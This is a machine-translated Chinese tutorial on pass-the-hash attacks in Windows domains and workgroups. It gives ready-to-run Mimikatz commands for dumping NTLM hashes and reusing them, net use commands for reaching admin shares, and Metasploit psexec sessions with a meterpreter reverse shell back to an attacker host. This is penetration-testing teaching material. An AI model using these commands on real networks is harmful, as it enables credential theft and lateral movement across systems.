当前位置:网站首页>Intranet penetration hash delivery attack
Intranet penetration hash delivery attack
2022-06-09 05:05:00 【Luckysec】
Preface
In the process of Intranet penetration , When the password of an administrator user is obtained hash When the value cannot be decrypted , Hash passing attacks can be used (Pass The Hash) Horizontal penetration of other machines in the intranet .
0x01 Hash passing attack
Hash passing attack (Pass The Hash) Is based on NTLM A way to attack authentication flaws , An attacker can use the user's password hash value to NTLM authentication . In a domain environment , Many computers will use the same local administrator account and password during installation . If the local administrator account and password of the computer are the same , The attacker can log in to other computers in the intranet by means of hash passing attack .
Pass through hash attacks , Attackers do not need to spend time cracking password hashes to obtain plaintext passwords . Especially in Windows Server 2012 R2 And later versions of the operating system , By default, no clear text password will be recorded in memory , Therefore, attackers often use tools to pass the hash value to other computers for permission verification , Realize the control of other remote computers .
- Detailed explanation of hash passing attack principle :https://www.4hou.com/posts/V0xO
Working group environment :
- Windows Vista Previous machines , Users in the local administrator group can be used to attack .
- Windows Vista The machine after that , Can only be Administrator (SID by 500) Only the hash value of the user can be used for hash passing attack , Other users ( Including administrator users but not Administrator) You can't use hash passing attacks , Otherwise, you will be prompted to deny access .
Domain environment :
- Only users in the domain Administrators group ( It can be a non member of the domain administrator group Administrator user ) The hash value of can be used for hash delivery attack , After a successful attack , You can access any machine in the domain environment .
- SID by 500 Log in with full administrative privileges (“ Full token mode ”) Run all applications , The administrator group's non SID 500 After the account is logged in, there is no UAC Of , All privileges are removed . In some computers ,SID by 500 The account number of will default to Administrator Account name change , It won't affect SID Value .
0x02 Mimikatz
Suppose you get a machine that users in the domain administrator group have logged on to , And get the permission of the local administrator of this machine , Then you can use Mimikatz The tool captures the passwords of users in the local administrator and domain administrator groups at the same time NTLM Hash value .
# perform Mimikatz The command grabs the local password and saves the result to Mimikatz.log In file
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
2.1 Domain environment
use first Mimikatz The tool obtains the user and password in the domain administrator group NTLM Hash as follows :
Domain environment :LUCKYSEC.CN
Users in the domain Administrators group :LUCKYSEC\admins
Users in the domain Administrators group NTLM hash value :518b98ad4178a53695dc997aa02d455c
because Mimikatz Requires administrator rights to run , Therefore, you need to obtain the local administrator permission of any machine in the domain to run CMD, And then use Mimikatz For the target machine (10.10.10.10) Conduct hash Delivery attack :
# hash Delivery attack Mimikatz Command format :
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain: Domain /ntlm:xxxxxx"
# Examples of use :
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"
# establish IPC$ Connect
net use \\10.10.10.10
# List the... Of the target machine C Disk file
dir \\10.10.10.10\c$
After successful execution , A new one will pop up CMD Command line window , In this window, you can establish with the target machine IPC$ Successful connection .

occasionally dir Followed by IP The address will prompt the user name or password error , You can solve this problem by entering the host name of the target :
dir \\AD-2016\c$

2.2 Working group environment
use first Mimikatz The tool obtains the user and password in the domain administrator group NTLM Hash as follows :
Get local workgroup Administrator :Administrator
Get the local workgroup administrator password NTLM Hash:518b98ad4178a53695dc997aa02d455c
Suppose the target machine (10.10.10.20) There is the same thing on Administrator The password is the same as the host administrator password taken by the attacker , So the two machines NTLM hash It's the same , So we can do hash Delivery attack .
# hash Delivery attack Mimikatz Command format :
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain: Target machine IP /ntlm:xxxxxx"
# Examples of use :
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"
# establish IPC$ Connect
net use \\10.10.10.20
# List the... Of the target machine C Disk file
dir \\10.10.10.20\c$

0x03 MSF
The first is through the conventional rebound shell Operate to msf On , adopt run post/windows/gather/hashdump Get LM:NTLM hash value

3.1 Domain environment
Attack prerequisites :
Domain environment :LUCKYSEC.CN
Users in the domain Administrators group :admins
Users in the domain Administrators group LM:NTLM hash value :aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash Delivery attack :
msf6 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10
rhost => 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbuser admins
smbuser => admins
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

3.2 Working group environment
Attack prerequisites :
Get local workgroup Administrator :Administrator
Get the local workgroup administrator password LM:NTLM hash value :aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash Delivery attack :
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20
rhost => 10.10.10.20
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit

Reference article
- https://mp.weixin.qq.com/s/T5tJ3GkeNKmyFXyW4CEr1A
- https://cloud.tencent.com/developer/article/1937060
- https://www.cnblogs.com/-qing-/p/11374136.html
边栏推荐
- The half year revenue of mushroom street was 168million yuan: a year-on-year decrease of 29% and an operating loss of 240million yuan
- "Diwen Cup" skill competition between teachers and students of Electrical Engineering Department of Zibo technician college was successfully held
- 2022-06-清华管理学-清华大学-宁向东
- ps如何给图像加边框
- How to change the color of WPS ppt background picture
- oracle网吧设计用程序实现插入更新删除的问题
- MarathonLb的负载研究
- 关于全局异常捕获的思考-真正的全局异常捕获
- Quickly detect high-risk vulnerabilities of common middleware and components in penetration testing
- [Django学习笔记 - 12]:数据库操作
猜你喜欢

Pull down the new project code and make it red

故障排查:阿里云轻量应用服务器中的MySQL容器自行停止

How WPS ppt pictures come out one by one

2022 R2 mobile pressure vessel filling test simulation 100 questions and simulation test

Devon 2K high resolution smart screen releases 4 new products

R language multivariable generalized orthogonal GARCH (go-garch) model for fitting and forecasting high-dimensional volatility time series of stock market

API 网关 Apache APISIX 在 AWS Graviton3 上的安装与性能测试

2022 safety officer-c certificate examination practice questions simulated examination platform operation

Lighting - brightness attenuation of light

Mécanisme de mise en cache dans le transformateur
随机推荐
Why do it systems need observability?
The half year revenue of mushroom street was 168million yuan: a year-on-year decrease of 29% and an operating loss of 240million yuan
Devin round smart screen comes into the market
"Diwen Cup" electronic design competition of Hunan University of Arts and Sciences was successfully concluded
2022年危险化学品经营单位主要负责人操作证考试题库及在线模拟考试
P1779 Xiaohu's springboard
2022 safety officer-c certificate examination practice questions simulated examination platform operation
^25进程与线程
由id获取name调用示例(腾讯IM)
三方账号授权登录系统设计思路
2022 "Cyberspace Security" event module B of Jiangxi secondary vocational group - SQL injection test
How WPS ppt pictures come out one by one
聊聊保证线程安全的10个小技巧
P1743 Audiophobia
[006] [ESP32開發筆記] 使用Flash下載工具燒錄固件步驟
[sword finger offer II 001. integer division] the same as leedcode 29 Divide two numbers
Program implementation of inserting, updating and deleting in Oracle Internet cafe design
Caching mechanism in transformer
2022 tea artist (intermediate) examination question simulation examination question bank and simulation examination
Camtasia studio2022 activation code serial number